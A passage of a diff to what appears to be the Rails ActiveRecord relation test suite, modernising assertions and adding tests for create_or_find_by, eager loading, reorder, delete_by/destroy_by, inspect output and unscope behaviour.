@@ -1352,7 +1427,7 @@ def test_first_or_create_with_block
   def test_first_or_create_with_array
     several_green_birds = Bird.where(color: "green").first_or_create([{ name: "parrot" }, { name: "parakeet" }])
     assert_kind_of Array, several_green_birds
-    several_green_birds.each { |bird| assert bird.persisted? }
+    several_green_birds.each { |bird| assert_predicate bird, :persisted? }
 
     same_parrot = Bird.where(color: "green").first_or_create([{ name: "hummingbird" }, { name: "macaw" }])
     assert_kind_of Bird, same_parrot
@@ -1362,13 +1437,13 @@ def test_first_or_create_with_array
   def test_first_or_create_bang_with_valid_options
     parrot = Bird.where(color: "green").first_or_create!(name: "parrot")
     assert_kind_of Bird, parrot
-    assert parrot.persisted?
+    assert_predicate parrot, :persisted?
     assert_equal "parrot", parrot.name
     assert_equal "green", parrot.color
 
     same_parrot = Bird.where(color: "green").first_or_create!(name: "parakeet")
     assert_kind_of Bird, same_parrot
-    assert same_parrot.persisted?
+    assert_predicate same_parrot, :persisted?
     assert_equal parrot, same_parrot
   end
 
@@ -1381,9 +1456,15 @@ def test_first_or_create_bang_with_no_parameters
   end
 
   def test_first_or_create_bang_with_valid_block
-    parrot = Bird.where(color: "green").first_or_create! { |bird| bird.name = "parrot" }
+    canary = Bird.create!(color: "yellow", name: "canary")
+    parrot = Bird.where(color: "green").first_or_create! do |bird|
+      bird.name = "parrot"
+      bird.enable_count = true
+      assert_equal canary, Bird.find_by!(name: "canary")
+    end
+    assert_equal 1, parrot.total_count
     assert_kind_of Bird, parrot
-    assert parrot.persisted?
+    assert_predicate parrot, :persisted?
     assert_equal "green", parrot.color
     assert_equal "parrot", parrot.name
 
@@ -1397,45 +1478,55 @@ def test_first_or_create_bang_with_invalid_block
     end
   end
 
-  def test_first_or_create_with_valid_array
+  def test_first_or_create_bang_with_valid_array
     several_green_birds = Bird.where(color: "green").first_or_create!([{ name: "parrot" }, { name: "parakeet" }])
     assert_kind_of Array, several_green_birds
-    several_green_birds.each { |bird| assert bird.persisted? }
+    several_green_birds.each { |bird| assert_predicate bird, :persisted? }
 
     same_parrot = Bird.where(color: "green").first_or_create!([{ name: "hummingbird" }, { name: "macaw" }])
     assert_kind_of Bird, same_parrot
     assert_equal several_green_birds.first, same_parrot
   end
 
-  def test_first_or_create_with_invalid_array
+  def test_first_or_create_bang_with_invalid_array
     assert_raises(ActiveRecord::RecordInvalid) { Bird.where(color: "green").first_or_create!([ { name: "parrot" }, { pirate_id: 1 } ]) }
   end
 
   def test_first_or_initialize
     parrot = Bird.where(color: "green").first_or_initialize(name: "parrot")
     assert_kind_of Bird, parrot
-    assert !parrot.persisted?
-    assert parrot.valid?
-    assert parrot.new_record?
+    assert_not_predicate parrot, :persisted?
+    assert_predicate parrot, :valid?
+    assert_predicate parrot, :new_record?
     assert_equal "parrot", parrot.name
     assert_equal "green", parrot.color
+
+    canary = Bird.where(Bird.arel_table[:color].is_distinct_from("green")).first_or_initialize(name: "canary")
+    assert_equal "canary", canary.name
+    assert_nil canary.color
   end
 
   def test_first_or_initialize_with_no_parameters
     parrot = Bird.where(color: "green").first_or_initialize
     assert_kind_of Bird, parrot
-    assert !parrot.persisted?
-    assert !parrot.valid?
-    assert parrot.new_record?
+    assert_not_predicate parrot, :persisted?
+    assert_not_predicate parrot, :valid?
+    assert_predicate parrot, :new_record?
     assert_equal "green", parrot.color
   end
 
   def test_first_or_initialize_with_block
-    parrot = Bird.where(color: "green").first_or_initialize { |bird| bird.name = "parrot" }
+    canary = Bird.create!(color: "yellow", name: "canary")
+    parrot = Bird.where(color: "green").first_or_initialize do |bird|
+      bird.name = "parrot"
+      bird.enable_count = true
+      assert_equal canary, Bird.find_by!(name: "canary")
+    end
+    assert_equal 1, parrot.total_count
     assert_kind_of Bird, parrot
-    assert !parrot.persisted?
-    assert parrot.valid?
-    assert parrot.new_record?
+    assert_not_predicate parrot, :persisted?
+    assert_predicate parrot, :valid?
+    assert_predicate parrot, :new_record?
     assert_equal "green", parrot.color
     assert_equal "parrot", parrot.name
   end
@@ -1444,74 +1535,252 @@ def test_find_or_create_by
     assert_nil Bird.find_by(name: "bob")
 
     bird = Bird.find_or_create_by(name: "bob")
-    assert bird.persisted?
+    assert_predicate bird, :persisted?
 
     assert_equal bird, Bird.find_or_create_by(name: "bob")
   end
 
+  def test_find_or_create_by_race_condition
+    assert_nil Subscriber.find_by(nick: "bob")
+
+    bob = Subscriber.create!(nick: "bob")
+    relation = Subscriber.all
+
+    results = [nil, bob]
+    find_by_mock = -> (*) do
+      assert_not_predicate results, :empty?
+      results.shift
+    end
+
+    relation.stub(:find_by, find_by_mock) do
+      relation.stub(:find_by!, find_by_mock) do # create_or_find_by always call find_by! on retry
+        assert_equal bob, relation.find_or_create_by(nick: "bob")
+      end
+    end
+
+    assert_predicate results, :empty?
+  end
+
   def test_find_or_create_by_with_create_with
     assert_nil Bird.find_by(name: "bob")
 
     bird = Bird.create_with(color: "green").find_or_create_by(name: "bob")
-    assert bird.persisted?
+    assert_predicate bird, :persisted?
     assert_equal "green", bird.color
 
     assert_equal bird, Bird.create_with(color: "blue").find_or_create_by(name: "bob")
   end
 
+  def test_find_or_create_by_with_block
+    assert_nil Bird.find_by(name: "bob")
+
+    bird = Bird.find_or_create_by(name: "bob") do |record|
+      record.color = "blue"
+    end
+    assert_predicate bird, :persisted?
+    assert_equal "bob", bird.name
+    assert_equal "blue", bird.color
+
+    assert_equal bird, Bird.find_or_create_by(name: "bob", color: "blue")
+  end
+
   def test_find_or_create_by!
     assert_raises(ActiveRecord::RecordInvalid) { Bird.find_or_create_by!(color: "green") }
   end
 
-  def test_find_or_initialize_by
-    assert_nil Bird.find_by(name: "bob")
+  def test_create_or_find_by
+    assert_nil Subscriber.find_by(nick: "bob")
 
-    bird = Bird.find_or_initialize_by(name: "bob")
-    assert bird.new_record?
-    bird.save!
+    subscriber = Subscriber.create!(nick: "bob")
 
-    assert_equal bird, Bird.find_or_initialize_by(name: "bob")
+    assert_equal subscriber, Subscriber.create_or_find_by(nick: "bob")
+    assert_not_equal subscriber, Subscriber.create_or_find_by(nick: "cat")
   end
 
-  def test_explicit_create_scope
-    hens = Bird.where(name: "hen")
-    assert_equal "hen", hens.new.name
+  def test_create_or_find_by_rollbacks_a_transaction
+    assert_no_difference(-> { Car.count }) do
+      car = BrokenCar.create_or_find_by(name: "Civic")
 
-    hens = hens.create_with(name: "cock")
-    assert_equal "cock", hens.new.name
+      assert_instance_of(BrokenCar, car)
+      assert_not_predicate(car, :persisted?)
+    end
   end
 
-  def test_except
-    relation = Post.where(author_id: 1).order("id ASC").limit(1)
-    assert_equal [posts(:welcome)], relation.to_a
-
-    author_posts = relation.except(:order, :limit)
-    assert_equal Post.where(author_id: 1).to_a, author_posts.to_a
+  def test_create_or_find_by_bang_rollbacks_a_transaction
+    assert_no_difference(-> { Car.count }) do
+      car = BrokenCar.create_or_find_by!(name: "Civic")
 
-    all_posts = relation.except(:where, :order, :limit)
-    assert_equal Post.all, all_posts
+      assert_instance_of(BrokenCar, car)
+      assert_not_predicate(car, :persisted?)
+    end
   end
 
-  def test_only
-    relation = Post.where(author_id: 1).order("id ASC").limit(1)
-    assert_equal [posts(:welcome)], relation.to_a
-
-    author_posts = relation.only(:where)
-    assert_equal Post.where(author_id: 1).to_a, author_posts.to_a
+  def test_create_or_find_by_on_a_collections_rollbacks_a_transaction_when_owner_is_not_persisted
+    car = BrokenCar.create(name: "Civic")
+    assert_not_predicate(car, :persisted?)
 
-    all_posts = relation.only(:limit)
-    assert_equal Post.limit(1).to_a, all_posts.to_a
+    assert_raises(ActiveRecord::RecordNotSaved) do
+      car.wheels.create_or_find_by!(size: 1500)
+    end
   end
 
-  def test_anonymous_extension
-    relation = Post.where(author_id: 1).order("id ASC").extending do
-      def author
-        "lifo"
-      end
+  def test_create_or_find_by_with_block
+    assert_nil Subscriber.find_by(nick: "bob")
+
+    subscriber = Subscriber.create_or_find_by(nick: "bob") do |record|
+      record.name = "the builder"
     end
 
-    assert_equal "lifo", relation.author
-    assert_equal "lifo", relation.limit(1).author
+    assert_equal "bob", subscriber.nick
+    assert_equal "the builder", subscriber.name
+    assert_predicate subscriber, :persisted?
+    assert_equal subscriber, Subscriber.create_or_find_by(nick: "bob")
+    assert_not_equal subscriber, Subscriber.create_or_find_by(nick: "cat")
+  end
+
+  def test_create_or_find_by_should_not_raise_due_to_validation_errors
+    assert_nothing_raised do
+      bird = Bird.create_or_find_by(color: "green")
+      assert_predicate bird, :invalid?
+    end
+  end
+
+  def test_create_or_find_by_with_non_unique_attributes
+    Subscriber.create!(nick: "bob", name: "the builder")
+
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Subscriber.create_or_find_by(nick: "bob", name: "the cat")
+    end
+  end
+
+  def test_create_or_find_by_within_transaction
+    assert_nil Subscriber.find_by(nick: "bob")
+
+    subscriber = Subscriber.create!(nick: "bob")
+
+    Subscriber.transaction do
+      assert_equal subscriber, Subscriber.create_or_find_by(nick: "bob")
+      assert_not_equal subscriber, Subscriber.create_or_find_by(nick: "cat")
+    end
+  end
+
+  def test_create_or_find_by_with_bang
+    assert_nil Subscriber.find_by(nick: "bob")
+
+    subscriber = Subscriber.create!(nick: "bob")
+
+    assert_equal subscriber, Subscriber.create_or_find_by!(nick: "bob")
+    assert_not_equal subscriber, Subscriber.create_or_find_by!(nick: "cat")
+  end
+
+  def test_create_or_find_by_with_bang_should_raise_due_to_validation_errors
+    assert_raises(ActiveRecord::RecordInvalid) { Bird.create_or_find_by!(color: "green") }
+  end
+
+  def test_create_or_find_by_with_bang_with_non_unique_attributes
+    Subscriber.create!(nick: "bob", name: "the builder")
+
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Subscriber.create_or_find_by!(nick: "bob", name: "the cat")
+    end
+  end
+
+  def test_create_or_find_by_with_bang_within_transaction
+    assert_nil Subscriber.find_by(nick: "bob")
+
+    subscriber = Subscriber.create!(nick: "bob")
+
+    Subscriber.transaction do
+      assert_equal subscriber, Subscriber.create_or_find_by!(nick: "bob")
+      assert_not_equal subscriber, Subscriber.create_or_find_by!(nick: "cat")
+    end
+  end
+
+  def test_find_or_initialize_by
+    assert_nil Bird.find_by(name: "bob")
+
+    bird = Bird.find_or_initialize_by(name: "bob")
+    assert_predicate bird, :new_record?
+    bird.save!
+
+    assert_equal bird, Bird.find_or_initialize_by(name: "bob")
+  end
+
+  def test_find_or_initialize_by_with_block
+    assert_nil Bird.find_by(name: "bob")
+
+    bird = Bird.find_or_initialize_by(name: "bob") do |record|
+      record.color = "blue"
+    end
+    assert_predicate bird, :new_record?
+    assert_equal "bob", bird.name
+    assert_equal "blue", bird.color
+    bird.save!
+
+    assert_equal bird, Bird.find_or_initialize_by(name: "bob", color: "blue")
+  end
+
+  def test_find_or_initialize_by_with_cpk_association
+    order1 = Cpk::Order.create!(id: [1, 1])
+    order2 = Cpk::Order.create!(id: [1, 2])
+    Cpk::Book.create!(id: [2, 1], order: order1)
+    book = Cpk::Book.find_or_initialize_by(order: order2)
+    assert_equal order2, book.order
+  end
+
+  def test_explicit_create_with
+    hens = Bird.where(name: "hen")
+    assert_equal "hen", hens.new.name
+
+    hens = hens.create_with(name: "cock")
+    assert_equal "cock", hens.new.name
+  end
+
+  def test_create_with_nested_attributes
+    assert_difference("Project.count", 1) do
+      developers = Developer.where(name: "Aaron")
+      developers = developers.create_with(
+        projects_attributes: [{ name: "p1" }]
+      )
+      developers.create!
+    end
+  end
+
+  def test_except
+    relation = Post.where(author_id: 1).order("id ASC").limit(1)
+    assert_equal [posts(:welcome)], relation.to_a
+
+    author_posts = relation.except(:order, :limit)
+    assert_equal Post.where(author_id: 1).sort_by(&:id), author_posts.sort_by(&:id)
+    assert_equal author_posts.sort_by(&:id), relation.scoping { Post.except(:order, :limit).sort_by(&:id) }
+
+    all_posts = relation.except(:where, :order, :limit)
+    assert_equal Post.all.sort_by(&:id), all_posts.sort_by(&:id)
+    assert_equal all_posts.sort_by(&:id), relation.scoping { Post.except(:where, :order, :limit).sort_by(&:id) }
+  end
+
+  def test_only
+    relation = Post.where(author_id: 1).order("id ASC").limit(1)
+    assert_equal [posts(:welcome)], relation.to_a
+
+    author_posts = relation.only(:where)
+    assert_equal Post.where(author_id: 1).sort_by(&:id), author_posts.sort_by(&:id)
+    assert_equal author_posts.sort_by(&:id), relation.scoping { Post.only(:where).sort_by(&:id) }
+
+    all_posts = relation.only(:order)
+    assert_equal Post.order("id ASC").to_a, all_posts.to_a
+    assert_equal all_posts.to_a, relation.scoping { Post.only(:order).to_a }
+  end
+
+  def test_anonymous_extension
+    relation = Post.where(author_id: 1).order("id ASC").extending do
+      def author # rubocop:disable Lint/NestedMethodDefinition
+        "lifo"
+      end
+    end
+
+    assert_equal "lifo", relation.author
+    assert_equal "lifo", relation.limit(1).author
   end
 
   def test_named_extension
@@ -1562,68 +1831,6 @@ def test_ordering_with_extra_spaces
     assert_equal authors(:david), Author.order("id DESC , name DESC").last
   end
 
-  def test_update_all_with_blank_argument
-    assert_raises(ArgumentError) { Comment.update_all({}) }
-  end
-
-  def test_update_all_with_joins
-    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id)
-    count    = comments.count
-
-    assert_equal count, comments.update_all(post_id: posts(:thinking).id)
-    assert_equal posts(:thinking), comments(:greetings).post
-  end
-
-  def test_update_all_with_joins_and_limit
-    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).limit(1)
-    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
-  end
-
-  def test_update_all_with_joins_and_limit_and_order
-    comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("comments.id").limit(1)
-    assert_equal 1, comments.update_all(post_id: posts(:thinking).id)
-    assert_equal posts(:thinking), comments(:greetings).post
-    assert_equal posts(:welcome),  comments(:more_greetings).post
-  end
-
-  def test_update_all_with_joins_and_offset
-    all_comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id)
-    count        = all_comments.count
-    comments     = all_comments.offset(1)
-
-    assert_equal count - 1, comments.update_all(post_id: posts(:thinking).id)
-  end
-
-  def test_update_all_with_joins_and_offset_and_order
-    all_comments = Comment.joins(:post).where("posts.id" => posts(:welcome).id).order("posts.id", "comments.id")
-    count        = all_comments.count
-    comments     = all_comments.offset(1)
-
-    assert_equal count - 1, comments.update_all(post_id: posts(:thinking).id)
-    assert_equal posts(:thinking), comments(:more_greetings).post
-    assert_equal posts(:welcome),  comments(:greetings).post
-  end
-
-  def test_update_on_relation
-    topic1 = TopicWithCallbacks.create! title: "arel", author_name: nil
-    topic2 = TopicWithCallbacks.create! title: "activerecord", author_name: nil
-    topics = TopicWithCallbacks.where(id: [topic1.id, topic2.id])
-    topics.update(title: "adequaterecord")
-
-    assert_equal "adequaterecord", topic1.reload.title
-    assert_equal "adequaterecord", topic2.reload.title
-    # Testing that the before_update callbacks have run
-    assert_equal "David", topic1.reload.author_name
-    assert_equal "David", topic2.reload.author_name
-  end
-
-  def test_update_on_relation_passing_active_record_object_is_not_permitted
-    topic = Topic.create!(title: "Foo", author_name: nil)
-    assert_raises(ArgumentError) do
-      Topic.where(id: topic.id).update(topic, title: "Bar")
-    end
-  end
-
   def test_distinct
     tag1 = Tag.create(name: "Foo")
     tag2 = Tag.create(name: "Foo")
@@ -1631,10 +1838,10 @@ def test_distinct
     query = Tag.select(:name).where(id: [tag1.id, tag2.id])
 
     assert_equal ["Foo", "Foo"], query.map(&:name)
-    assert_sql(/DISTINCT/) do
+    assert_queries_match(/DISTINCT/) do
       assert_equal ["Foo"], query.distinct.map(&:name)
     end
-    assert_sql(/DISTINCT/) do
+    assert_queries_match(/DISTINCT/) do
       assert_equal ["Foo"], query.distinct(true).map(&:name)
     end
     assert_equal ["Foo", "Foo"], query.distinct(true).distinct(false).map(&:name)
@@ -1642,10 +1849,10 @@ def test_distinct
 
   def test_doesnt_add_having_values_if_options_are_blank
     scope = Post.having("")
-    assert scope.having_clause.empty?
+    assert_empty scope.having_clause
 
     scope = Post.having([])
-    assert scope.having_clause.empty?
+    assert_empty scope.having_clause
   end
 
   def test_having_with_binds_for_both_where_and_having
@@ -1671,13 +1878,43 @@ def test_grouping_by_column_with_reserved_name
 
   def test_references_triggers_eager_loading
     scope = Post.includes(:comments)
-    assert !scope.eager_loading?
-    assert scope.references(:comments).eager_loading?
+    assert_not_predicate scope, :eager_loading?
+    assert_predicate scope.references(:comments), :eager_loading?
   end
 
   def test_references_doesnt_trigger_eager_loading_if_reference_not_included
     scope = Post.references(:comments)
-    assert !scope.eager_loading?
+    assert_not_predicate scope, :eager_loading?
+  end
+
+  def test_order_triggers_eager_loading
+    scope = Post.includes(:comments).order("comments.label ASC")
+    assert_predicate scope, :eager_loading?
+  end
+
+  def test_order_doesnt_trigger_eager_loading_when_ordering_using_the_owner_table
+    scope = Post.includes(:comments).order("posts.title ASC")
+    assert_not_predicate scope, :eager_loading?
+  end
+
+  def test_order_triggers_eager_loading_when_ordering_using_symbols
+    scope = Post.includes(:comments).order(:"comments.label")
+    assert_predicate scope, :eager_loading?
+  end
+
+  def test_order_doesnt_trigger_eager_loading_when_ordering_using_owner_table_and_symbols
+    scope = Post.includes(:comments).order(:"posts.title")
+    assert_not_predicate scope, :eager_loading?
+  end
+
+  def test_order_triggers_eager_loading_when_ordering_using_hash_syntax
+    scope = Post.includes(:comments).order({ "comments.label": :ASC })
+    assert_predicate scope, :eager_loading?
+  end
+
+  def test_order_doesnt_trigger_eager_loading_when_ordering_using_the_owner_table_and_hash_syntax
+    scope = Post.includes(:comments).order({ "posts.title": :ASC })
+    assert_not_predicate scope, :eager_loading?
   end
 
   def test_automatically_added_where_references
@@ -1708,6 +1945,10 @@ def test_automatically_added_order_references
     scope = Post.order("comments.body")
     assert_equal ["comments"], scope.references_values
 
+    scope = Post.order("#{Comment.quoted_table_name}.#{Comment.quoted_primary_key}")
+
+    assert_equal ["comments"], scope.references_values
+
     scope = Post.order("comments.body", "yaks.body")
     assert_equal ["comments", "yaks"], scope.references_values
 
@@ -1726,6 +1967,10 @@ def test_automatically_added_reorder_references
     scope = Post.reorder("comments.body")
     assert_equal %w(comments), scope.references_values
 
+    scope = Post.reorder("#{Comment.quoted_table_name}.#{Comment.quoted_primary_key}")
+
+    assert_equal ["comments"], scope.references_values
+
     scope = Post.reorder("comments.body", "yaks.body")
     assert_equal %w(comments yaks), scope.references_values
 
@@ -1752,16 +1997,34 @@ def test_reverse_order_with_reorder_nil_removes_the_order
     assert_nil relation.order_values.first
   end
 
+  def test_reorder_with_first
+    post = nil
+
+    sql_log = capture_sql do
+      post = Post.order(:title).reorder(nil).first
+    end
+
+    assert_equal posts(:welcome), post
+    assert sql_log.any? { |sql| /order by/i.match?(sql) }, "ORDER BY was not used in the query: #{sql_log}"
+  end
+
+  def test_reorder_with_take
+    sql_log = capture_sql do
+      assert Post.order(:title).reorder(nil).take
+    end
+    assert sql_log.all? { |sql| !/order by/i.match?(sql) }, "ORDER BY was used in the query: #{sql_log}"
+  end
+
   def test_presence
     topics = Topic.all
 
     # the first query is triggered because there are no topics yet.
-    assert_queries(1) { assert topics.present? }
+    assert_queries_count(1) { assert_predicate topics, :present? }
 
     # checking if there are topics is used before you actually display them,
     # thus it shouldn't invoke an extra count query.
-    assert_no_queries { assert topics.present? }
-    assert_no_queries { assert !topics.blank? }
+    assert_no_queries { assert_predicate topics, :present? }
+    assert_no_queries { assert_not topics.blank? }
 
     # shows count of topics and loops after loading the query should not trigger extra queries either.
     assert_no_queries { topics.size }
@@ -1769,9 +2032,27 @@ def test_presence
     assert_no_queries { topics.each }
 
     # count always trigger the COUNT query.
-    assert_queries(1) { topics.count }
+    assert_queries_count(1) { topics.count }
 
-    assert topics.loaded?
+    assert_predicate topics, :loaded?
+  end
+
+  def test_delete_by
+    david = authors(:david)
+
+    assert_difference("Post.count", -3) { david.posts.delete_by(body: "hello") }
+
+    deleted = Author.delete_by(id: david.id)
+    assert_equal 1, deleted
+  end
+
+  def test_destroy_by
+    david = authors(:david)
+
+    assert_difference("Post.count", -3) { david.posts.destroy_by(body: "hello") }
+
+    destroyed = Author.destroy_by(id: david.id)
+    assert_equal [david], destroyed
   end
 
   test "find_by with hash conditions returns the first matching record" do
@@ -1791,7 +2072,7 @@ def test_presence
   end
 
   test "find_by doesn't have implicit ordering" do
-    assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by(author_id: 2) }
+    assert_queries_match(/^((?!ORDER).)*$/) { Post.all.find_by(author_id: 2) }
   end
 
   test "find_by requires at least one argument" do
@@ -1811,7 +2092,7 @@ def test_presence
   end
 
   test "find_by! doesn't have implicit ordering" do
-    assert_sql(/^((?!ORDER).)*$/) { Post.all.find_by!(author_id: 2) }
+    assert_queries_match(/^((?!ORDER).)*$/) { Post.all.find_by!(author_id: 2) }
   end
 
   test "find_by! raises RecordNotFound if the record is missing" do
@@ -1828,7 +2109,7 @@ def test_presence
     relation = Post.all
     relation.to_a
 
-    assert_raises(ActiveRecord::ImmutableRelation) do
+    assert_raises(ActiveRecord::UnmodifiableRelation) do
       relation.where! "foo"
     end
   end
@@ -1837,7 +2118,7 @@ def test_presence
     relation = Post.all
     relation.to_a
 
-    assert_raises(ActiveRecord::ImmutableRelation) do
+    assert_raises(ActiveRecord::UnmodifiableRelation) do
       relation.limit! 5
     end
   end
@@ -1846,7 +2127,7 @@ def test_presence
     relation = Post.all
     relation.to_a
 
-    assert_raises(ActiveRecord::ImmutableRelation) do
+    assert_raises(ActiveRecord::UnmodifiableRelation) do
       relation.merge! where: "foo"
     end
   end
@@ -1855,17 +2136,17 @@ def test_presence
     relation = Post.all
     relation.to_a
 
-    assert_raises(ActiveRecord::ImmutableRelation) do
+    assert_raises(ActiveRecord::UnmodifiableRelation) do
       relation.extending! Module.new
     end
   end
 
   test "relations with cached arel can't be mutated [internal API]" do
     relation = Post.all
-    relation.count
+    relation.arel
 
-    assert_raises(ActiveRecord::ImmutableRelation) { relation.limit!(5) }
-    assert_raises(ActiveRecord::ImmutableRelation) { relation.where!("1 = 2") }
+    assert_raises(ActiveRecord::UnmodifiableRelation) { relation.limit!(5) }
+    assert_raises(ActiveRecord::UnmodifiableRelation) { relation.where!("1 = 2") }
   end
 
   test "relations show the records in #inspect" do
@@ -1878,6 +2159,18 @@ def test_presence
     assert_equal "#<ActiveRecord::Relation [#{Post.limit(10).map(&:inspect).join(', ')}, ...]>", relation.inspect
   end
 
+  test "relations don't load all records in #inspect" do
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) do
+      Post.all.inspect
+    end
+  end
+
+  test "loading query is annotated in #inspect" do
+    assert_queries_match(%r(/\* loading for inspect \*/)) do
+      Post.all.inspect
+    end
+  end
+
   test "already-loaded relations don't perform a new query in #inspect" do
     relation = Post.limit(2)
     relation.to_a
@@ -1889,21 +2182,58 @@ def test_presence
     end
   end
 
+  test "relations limit the records in #pretty_print at 10" do
+    relation = Post.limit(11)
+    out = StringIO.new
+    PP.pp(relation, out)
+    assert_equal 10, out.string.scan(/#<\w*Post:/).size
+    assert out.string.end_with?("\"...\"]\n"), "Did not end with an ellipsis."
+  end
+
+  test "relations don't load all records in #pretty_print" do
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) do
+      PP.pp Post.all, StringIO.new # avoid outputting.
+    end
+  end
+
+  test "loading query is annotated in #pretty_print" do
+    assert_queries_match(%r(/\* loading for pp \*/)) do
+      PP.pp Post.all, StringIO.new # avoid outputting.
+    end
+  end
+
+  test "already-loaded relations don't perform a new query in #pretty_print" do
+    relation = Post.limit(2)
+    relation.to_a
+
+    assert_no_queries do
+      PP.pp relation, StringIO.new # avoid outputting.
+    end
+  end
+
   test "using a custom table affects the wheres" do
-    table_alias = Post.arel_table.alias("omg_posts")
+    post = posts(:welcome)
+
+    assert_equal post, custom_post_relation.where!(title: post.title).take
+  end
+
+  test "using a custom table with joins affects the joins" do
+    post = posts(:welcome)
 
-    table_metadata = ActiveRecord::TableMetadata.new(Post, table_alias)
-    predicate_builder = ActiveRecord::PredicateBuilder.new(table_metadata)
-    relation = ActiveRecord::Relation.new(Post, table_alias, predicate_builder)
-    relation.where!(foo: "bar")
+    assert_equal post, custom_post_relation.joins(:author).where!(title: post.title).take
+  end
 
-    node = relation.arel.constraints.first.grep(Arel::Attributes::Attribute).first
-    assert_equal table_alias, node.relation
+  test "arel_table respects a custom table" do
+    assert_equal [posts(:sti_comments)], custom_post_relation.ranked_by_comments.limit_by(1).to_a
+  end
+
+  test "alias_tracker respects a custom table" do
+    assert_equal posts(:welcome), custom_post_relation("categories_posts").joins(:categories).first
   end
 
   test "#load" do
     relation = Post.all
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_equal relation, relation.load
     end
     assert_no_queries { relation.to_a }
@@ -1915,7 +2245,7 @@ def test_presence
 
     assert_no_queries do
       result = authors_count.map do |post|
-        [post.num_posts, post.author.try(:name)]
+        [post.num_posts, post.author&.name]
       end
 
       expected = [[1, nil], [5, "David"], [3, "Mary"], [2, "Bob"]]
@@ -1929,10 +2259,25 @@ def test_presence
     assert_equal [1, 1, 1], posts.map(&:author_address_id)
   end
 
+  test "joins with select custom attribute" do
+    contract = Company.create!(name: "test").contracts.create!
+    company = Company.joins(:contracts).select(:id, :metadata).find(contract.company_id)
+    assert_equal contract.metadata, company.metadata
+  end
+
+  test "joins with order by custom attribute" do
+    companies = Company.create!([{ name: "test1" }, { name: "test2" }])
+    companies.each { |company| company.contracts.create! }
+    # In ordering by Contract#metadata, we rely on that JSON string to
+    # be consistent
+    assert_equal companies, Company.joins(:contracts).order(:metadata, :count)
+    assert_equal companies.reverse, Company.joins(:contracts).order(metadata: :desc, count: :desc)
+  end
+
   test "delegations do not leak to other classes" do
     Topic.all.by_lifo
     assert Topic.all.class.method_defined?(:by_lifo)
-    assert !Post.all.respond_to?(:by_lifo)
+    assert_not_respond_to Post.all, :by_lifo
   end
 
   def test_unscope_with_subquery
@@ -1947,61 +2292,493 @@ def test_unscope_with_subquery
     assert_equal p2.first.comments, comments
   end
 
-  def test_unscope_removes_binds
-    left = Post.where(id: Arel::Nodes::BindParam.new)
-    column = Post.columns_hash["id"]
-    left.bind_values += [[column, 20]]
+  def test_unscope_with_merge
+    p0 = Post.where(author_id: 0)
+    p1 = Post.where(author_id: 1, comments_count: 1)
+
+    assert_equal [posts(:authorless)], p0
+    assert_equal [posts(:thinking)], p1
+
+    comments = Comment.merge(p0).unscope(where: :author_id).where(post: p1)
+
+    assert_not_equal p0.first.comments, comments
+    assert_equal p1.first.comments, comments
+  end
+
+  def test_unscope_with_unknown_column
+    comment = comments(:greetings)
+    comment.update!(comments: 1)
+
+    comments = Comment.where(comments: 1).unscope(where: :unknown_column)
+    assert_equal [comment], comments
+
+    comments = Comment.where(comments: 1).unscope(where: { comments: :unknown_column })
+    assert_equal [comment], comments
+  end
+
+  def test_unscope_specific_where_value
+    posts = Post.where(title: "Welcome to the weblog", body: "Such a lovely day")
+
+    assert_equal 1, posts.count
+    assert_equal 1, posts.unscope(where: :title).count
+    assert_equal 1, posts.unscope(where: :body).count
+  end
+
+  def test_unscope_with_aliased_column
+    posts = Post.where(author: authors(:mary), text: "hullo").order(:id)
+    assert_equal [posts(:misc_by_mary)], posts
+
+    posts = posts.unscope(where: :"posts.text")
+    assert_equal posts(:eager_other, :misc_by_mary, :other_by_mary), posts
+  end
+
+  def test_unscope_with_table_name_qualified_column
+    comments = Comment.joins(:post).where("posts.id": posts(:thinking))
+    assert_equal [comments(:does_it_hurt)], comments
+
+    comments = comments.where(id: comments(:greetings))
+    assert_empty comments
 
-    relation = left.unscope(where: :id)
-    assert_equal [], relation.bind_values
+    comments = comments.unscope(where: :"posts.id")
+    assert_equal [comments(:greetings)], comments
   end
 
-  def test_merging_removes_rhs_bind_parameters
-    left = Post.where(id: 20)
-    right = Post.where(id: [1, 2, 3, 4])
+  def test_unscope_with_table_name_qualified_hash
+    comments = Comment.joins(:post).where("posts.id": posts(:thinking))
+    assert_equal [comments(:does_it_hurt)], comments
 
-    merged = left.merge(right)
-    assert_equal [], merged.bind_values
+    comments = comments.where(id: comments(:greetings))
+    assert_empty comments
+
+    comments = comments.unscope(where: { posts: :id })
+    assert_equal [comments(:greetings)], comments
   end
 
-  def test_merging_keeps_lhs_bind_parameters
-    binds = [ActiveRecord::Relation::QueryAttribute.new("id", 20, Post.type_for_attribute("id"))]
+  def test_unscope_with_arel_sql
+    posts = Post.where(Arel.sql("'Welcome to the weblog'").eq(Post.arel_table[:title]))
+
+    assert_equal 1, posts.count
+    assert_equal Post.count, posts.unscope(where: :title).count
+
+    posts = Post.where(Arel.sql("posts.title").eq("Welcome to the weblog"))
 
-    right  = Post.where(id: 20)
-    left   = Post.where(id: 10)
+    assert_equal 1, posts.count
+    assert_equal 1, posts.unscope(where: :title).count
+  end
+
+  def test_unscope_grouped_where
+    posts = Post.where(
+      title: ["Welcome to the weblog", "So I was thinking", nil]
+    )
 
-    merged = left.merge(right)
-    assert_equal binds, merged.bound_attributes
+    assert_equal 2, posts.count
+    assert_equal Post.count, posts.unscope(where: :title).count
   end
 
-  def test_merging_reorders_bind_params
-    post  = Post.first
-    right = Post.where(id: post.id)
-    left  = Post.where(title: post.title)
+  def test_unscope_with_double_dot_where
+    posts = Post.where(id: 1..2)
 
-    merged = left.merge(right)
-    assert_equal post, merged.first
+    assert_equal 2, posts.count
+    assert_equal Post.count, posts.unscope(where: :id).count
+  end
+
+  def test_unscope_with_triple_dot_where
+    posts = Post.where(id: 1...3)
+
+    assert_equal 2, posts.count
+    assert_equal Post.count, posts.unscope(where: :id).count
+  end
+
+  def test_locked_should_not_build_arel
+    posts = Post.locked
+    assert_predicate posts, :locked?
